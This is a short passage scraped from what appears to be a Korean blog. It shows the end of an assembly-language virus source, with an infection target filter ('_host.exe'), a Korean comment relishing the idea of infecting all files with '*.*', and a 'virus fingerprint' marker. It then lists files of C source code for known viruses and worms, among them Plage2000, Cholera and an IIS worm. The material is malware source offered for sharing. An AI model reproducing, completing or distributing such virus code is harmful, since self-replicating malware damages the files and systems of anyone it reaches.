g_szTargetFilter db "_host.exe", NULL ; "*.*" 으로 한다면...흐흐흐...

; 바이러스 지문
g_dwFingerPrint dd FINGERPRINT ; "HeRe"
g_dwFingerPrintFooter dd 0 ; 검색을 쉽게하기 위해서

;--------------------------------------------------------------------------------------------------------
; 코드의 끝 !!
;--------------------------------------------------------------------------------------------------------
EndCode:
push 0
call ExitProcess

end StartCode


반응형
반응형
C로 작성된 소스 코드들




Plage2000.c
Cholera.Bacterim.c
IISWormByQuantumG1999.c
GiftOfFuryByBumbleLee.c
반응형
반응형